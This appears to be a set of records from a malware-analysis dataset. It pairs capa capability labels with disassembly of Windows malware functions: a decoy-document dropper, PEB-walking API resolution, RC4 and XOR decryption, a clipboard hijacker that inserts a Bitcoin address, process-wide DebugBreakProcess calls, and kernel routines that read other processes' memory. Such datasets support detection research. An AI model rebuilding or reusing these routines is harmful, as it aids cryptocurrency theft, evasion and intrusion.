joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400482d0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rsp + 0x3b0], rbx
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x190]
call fcn.14004c600
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1400484e2
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x80]
call fcn.14004c600
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, [0x140117d20]
lea rcx, [rbp + 0x80]
call fcn.140048d60
movdqa xmm0, xmmword [0x140129140]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400030c0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001e20
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x80]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.140002af0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.1400496a4
nop
test ebx, ebx
jne 0x14004841a
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1400484a9
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x70]
call fcn.14004c600
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x14004848f
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x1400484a9
xor r9d, r9d
lea r8, [0x140117a40]
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400484e2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400484dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400484f3
call fcn.14004a92c
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rbp
ret
call fcn.1400520a8
int3
Function at 0x140048500
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 8
mov rax, qword gs:[0x30]
mov r13d, ecx
xor ebx, ebx
xor edi, edi
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov rsi, qword [rdx + 0x30]
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rax + rsi + 0x88]
add rdx, rsi
mov ecx, dword [rdx + 0x14]
mov r15d, dword [rdx + 0x1c]
mov eax, dword [rdx + 0x20]
add r15, rsi
mov r12d, dword [rdx + 0x24]
add rax, rsi
mov r8d, dword [rdx + 0x18]
add r12, rsi
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
test rcx, rcx
je 0x14004861a
mov qword [rsp + 0x40], rbp
movzx ebp, word [0x140099d64]
mov qword [rsp], r14
cmp dword [r15 + rdi*4], 0
je 0x140048605
xor r9d, r9d
mov r14d, r8d
test r8d, r8d
je 0x140048605
nop word [rax + rax]
movzx r11d, word [r12 + r9*2]
cmp r11, rdi
jne 0x1400485f3
mov r8d, dword [rax + r9*4]
xor eax, eax
add r8, rsi
movzx r10d, byte [r8]
test r10b, r10b
je 0x1400485e2
nop dword [rax]
mov edx, eax
lea r8, [r8 + 1]
mov ecx, ebp
shr edx, cl
mov ecx, eax
shl ecx, 0x19
mov eax, edx
or eax, ecx
movsx ecx, r10b
movzx r10d, byte [r8]
add eax, ecx
test r10b, r10b
jne 0x1400485c0
cmp eax, r13d
mov rax, qword [rsp + 0x50]
jne 0x1400485f3
mov ebx, dword [r15 + r11*4]
add rbx, rsi
inc r9
cmp r9, r14
jb 0x1400485a0
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
inc rdi
cmp rdi, rcx
jb 0x140048585
mov r14, qword [rsp]
mov rbp, qword [rsp + 0x40]
mov rax, rbx
add rsp, 8
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140048b50
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
xor ebx, ebx
movsxd rbp, edx
cmp dword [0x140130a74], 3
mov rdi, rcx
mov esi, ebp
jne 0x140048cb6
lea rcx, str.jason
mov qword [rax - 0x18], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.140048dc0
mov rdx, rdi
lea rcx, [rsp + 0x20]
mov r8d, ebp
call fcn.140048ed0
mov edx, ebx
test ebp, ebp
je 0x140048c3f
cmp rsi, 0x40
jb 0x140048c23
movdqa xmm2, xmmword [0x140129160]
mov eax, esi
and rax, 0xffffffffffffffc0
nop
movdqu xmm0, xmmword [rdi + rdx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx], xmm1
movdqu xmm0, xmmword [rdi + rdx + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx + 0x10], xmm1
movdqu xmm0, xmmword [rdi + rdx + 0x20]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rdi + rdx + 0x20], xmm0
movdqu xmm0, xmmword [rdi + rdx + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx + 0x30], xmm1
add rdx, 0x40
cmp rdx, rax
jb 0x140048bd0
cmp rdx, rsi
jae 0x140048c3f
mov rcx, rsi
lea rax, [rdx + rdi]
sub rcx, rdx
xor byte [rax], 0x99
lea rax, [rax + 1]
sub rcx, 1
jne 0x140048c32
mov rcx, rsi
call fcn.14004ac50
mov r14, rax
test rax, rax
je 0x140048c61
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.14004c600
mov byte [r14], bl
jmp 0x140048c64
mov r14, rbx
mov rdx, rbp
sub rdx, 1
js 0x140048d3d
lea rcx, [rdx + r14]
nop word [rax + rax]
movzx eax, byte [rbx + rdi]
inc rbx
mov byte [rcx], al
lea rcx, [rcx - 1]
cmp rbx, rdx
jle 0x140048c80
sub r14, rdi
lea rcx, [rdx + 1]
nop dword [rax]
movzx eax, byte [r14 + rdi]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x140048ca0
jmp 0x140048d3d
test edx, edx
je 0x140048d3d
cmp rsi, 0x40
jb 0x140048d22
movdqa xmm2, xmmword [0x140129160]
mov rax, rsi
and rax, 0xffffffffffffffc0
movdqu xmm0, xmmword [rcx + rbx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx + rbx], xmm1
movdqu xmm0, xmmword [rcx + rbx + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rcx + rbx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + rbx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx + rbx + 0x20], xmm1
movdqu xmm0, xmmword [rcx + rbx + 0x30]
pxor xmm0, xmm2
movdqu xmmword [rcx + rbx + 0x30], xmm0
add rbx, 0x40
cmp rbx, rax
jb 0x140048cd3
cmp rbx, rsi
jae 0x140048d3d
lea rax, [rbx + rcx]
sub rsi, rbx
nop
xor byte [rax], 0x99
lea rax, [rax + 1]
sub rsi, 1
jne 0x140048d30
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140048dc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
test r8d, r8d
je 0x140048ec3
mov qword [rsp + 0x10], rbx
push rdi
movdqa xmm2, xmmword [0x140129150]
lea r9, [rcx + 0x20]
mov edi, r8d
mov qword [rsp + 0x10], rsi
mov rbx, rcx
mov edx, 8
nop dword [rax + rax]
lea eax, [rdx - 8]
movd xmm0, eax
lea r9, [r9 + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rdx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [r9 - 0x60], xmm0
lea eax, [rdx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, edx
movdqu xmmword [r9 - 0x50], xmm1
add edx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [r9 - 0x40], xmm0
lea eax, [rdx - 8]
paddd xmm1, xmm2
movdqu xmmword [r9 - 0x30], xmm1
cmp eax, 0x100
jl 0x140048df0
xor ecx, ecx
lea rsi, str.jason
mov r9d, ecx
mov r10, rbx
nop word [rax + rax]
mov r11d, dword [r10]
xor edx, edx
mov eax, r9d
div edi
movzx eax, byte [rdx + rsi]
add eax, r11d
add ecx, eax
and ecx, 0x800000ff
jge 0x140048e95
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
inc r9d
lea rdx, [rbx + rax*4]
mov eax, dword [rbx + rax*4]
mov dword [r10], eax
add r10, 4
movzx eax, r11b
mov dword [rdx], eax
cmp r9d, 0x100
jl 0x140048e70
mov rsi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
pop rdi
ret

Function at 0x140048ed0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x140048f91
mov r11d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x140048f09
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + rcx*4]
add eax, dword [r9 + 0x404]
lea r8, [r9 + rcx*4]
and eax, 0x800000ff
jge 0x140048f32
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r8]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r8], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x140048f79
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [r9 + rax*4]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x140048ef0
ret

Function at 0x1400567e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140056610
Function at 0x140001000
Capabilities:
Accept command line arguments
Enumerate processes
Terminate process
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x278
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp word [rax], 0x22
je 0x140001031
mov dx, word [rax]
test dx, 0xffdf
je 0x14000105a
cmp dx, 9
je 0x14000105a
add rax, 2
jmp 0x140001017
test dl, dl
je 0x140001045
mov cx, word [rax + 2]
add rax, 2
test cx, cx
setne dl
cmp cx, 0x22
jne 0x14000102d
movzx edx, dl
add rdx, rdx
add rax, rdx
jmp 0x14000105a
cmp dx, 0x20
jne 0x140001065
add rax, 2
mov dx, word [rax]
cmp dx, 9
jne 0x140001050
jmp 0x140001056
test dx, dx
lea rbx, [rsp + 0x38]
jne 0x1400010ee
xor edx, edx
mov ecx, 2
mov rdi, rbx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ecx, 0x8e
mov rdx, rbx
mov rbp, rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, rbp
mov dword [rsp + 0x38], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400010da
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400010cd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DebugBreakProcess]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbx
mov rcx, rbp
call sub.KERNEL32.dll_Process32NextW
jmp 0x14000109d
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x12
setne cl
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r9, rbx
mov r8d, 0x48
lea rdx, [0x140001160]
mov rcx, rax
xor eax, eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x278
mov eax, 1
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1400017b0
Capabilities:
Create process on windows
Open clipboard
Read clipboard data
Write and execute a file
Write clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x290
mov rax, qword [0x14000e020]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400019ac
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str.output.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400019a6
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], r14b
jne 0x140001850
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x40]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x48]
call fcn.140001a20
nop
mov edx, 0x23
lea ecx, [rdx - 0x21]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbp, rax
nop dword [rax]
lea rbx, [rbx + 1]
cmp byte [rdi + rbx], 0
jne 0x1400018c0
lea rdx, [rbx + rdi]
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x48]
mov rcx, rdi
call fcn.140002480
mov rcx, rbp
test al, al
je 0x140001949
lea r8, str.1HKyVGrLVKLGVV1yvTJzpQdtX5XcirGSfe
mov edx, 0x23
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x104
xor r8d, r8d
lea rdx, str.calc.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SearchPathW]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14000195b
lea r8, str.Hello_world
mov edx, 0xd
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
nop
lea rcx, [rsp + 0x48]
call fcn.140001fc0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400019a6
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1400019a6
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140008910
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140001cc0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140001cf4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140001ce0
ret
Function at 0x140006510
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400065dc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1400065dc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x1400065f5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x1400065cc
cmp byte [rax], 0x5c
jne 0x1400065c6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x1400065c6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1400065b2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x1400065c3
test r8b, 0x10
jne 0x1400065c6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x1400065c6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140002b90
test edi, edi
jne 0x140006530
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140002b80
int3

Function at 0x1400094cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009516
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009516
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009516
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009516
cmp dword [rcx + 0x84], 0xe
jbe 0x140009516
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009518
xor al, al
add rsp, 0x28
ret
Function at 0x140001030
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
test rcx, rcx
jne 0x140001055
xor eax, eax
jmp 0x1400010c8
mov rbx, qword [rcx + 0x28]
test rbx, rbx
jne 0x140001069
call fcn.1400010e0
mov ecx, eax
mov rbx, qword [rcx + rdi]
mov rax, rbx
shr rax, 0x38
cmp al, 0x40
jne 0x1400010c5
cmp byte [0x140003068], 0
jne 0x1400010b9
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rdi
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rsp + 0x20]
mov qword [0x140003060], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov byte [0x140003068], 1
mov rax, qword [0x140003060]
test rax, rax
jne 0x1400010c8
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400016f0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x140001450
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x52a1f65
mov rbx, rcx
jne 0x1400014a7
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400014a7
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400014a7
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x1400014a7
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x1400014ac
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x1400014b4
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x52a1f65
mov rdi, rcx
jne 0x140001569
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001569
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001569
call fcn.140001030
mov rcx, qword [rsp + 0x30]
mov rbx, rax
mov byte [0x140003068], 0
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rdi + 8]
mov rcx, rbx
mov rsi, qword [rdi + 0x18]
call fcn.140001580
test rax, rax
je 0x140001569
mov ecx, eax
lea r9, [rsp + 0x38]
and ecx, 0xfff
mov edx, 0x1000
sub edx, ecx
mov rcx, rax
cmp edx, esi
cmovl esi, edx
and qword [rsp + 0x38], 0
cmp byte [rdi + 0x20], 0
mov rdx, qword [rdi + 0x10]
movsxd r8, esi
je 0x140001560
call fcn.140001398
jmp 0x140001565
call fcn.140001328
xor eax, eax
jmp 0x14000156e
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x407a97
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x00416048]
jne 0x406b2a
rol rcx, 0x10
test cx, 0xffff
jne 0x406b26
repz ret
ror rcx, 0x10
jmp 0x4079f0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x00417340]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x00417438]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x407a75
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x00417340]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x407a97
mov rax, qword [rsp + 0x88]
mov qword [0x00417438], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x004173d8], rax
mov rax, qword [0x00417438]
mov qword [0x004172b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x004173c0], rax
mov dword [0x004172a0], 0xc0000409
mov dword [0x004172a4], 1
mov rax, qword [0x00416048]
mov qword [rsp + 0x68], rax
mov rax, qword [0x00416050]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x00417338], eax
mov ecx, 1
call fcn.00408ed0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004112d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x00417338], 0
jne 0x407b1e
mov ecx, 1
call fcn.00408ed0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x40bf70
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.00408140
xor ebx, ebx
cmp qword [0x00418138], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x40c0a1
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x40bfd3
xor eax, eax
jmp 0x40c181
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x40bfcc
mov rcx, rax
call fcn.004080d0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x00418138], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004080d0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x00418140], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004080d0
lea rcx, [rsp + 0x30]
mov qword [0x00418148], rax
call fcn.00408990
test eax, eax
je 0x40c057
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00407170
cmp dword [rsp + 0x30], 2
jne 0x40c0a1
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004080d0
test rax, rax
mov qword [0x00418158], rax
je 0x40c0a1
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.004080d0
mov qword [0x00418150], rax
mov rcx, qword [0x00418150]
cmp rcx, rsi
je 0x40c133
cmp qword [0x00418158], rsi
je 0x40c133
call fcn.004081a0
call rax
test rax, rax
mov rbp, rax
je 0x40c0fe
mov rcx, qword [0x00418158]
call fcn.004081a0
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x40c0fe
test byte [rsp + 0x48], 1
jne 0x40c133
lea rcx, [rsp + 0x34]
call fcn.004089e0
test eax, eax
je 0x40c120
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.00407170
cmp dword [rsp + 0x34], 4
jb 0x40c12d
bts edi, 0x15
jmp 0x40c167
bts edi, 0x12
jmp 0x40c167
mov rcx, qword [0x00418140]
cmp rcx, rsi
je 0x40c167
call fcn.004081a0
call rax
test rax, rax
mov rbx, rax
je 0x40c167
mov rcx, qword [0x00418148]
cmp rcx, rsi
je 0x40c167
call fcn.004081a0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x00418138]
call fcn.004081a0
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
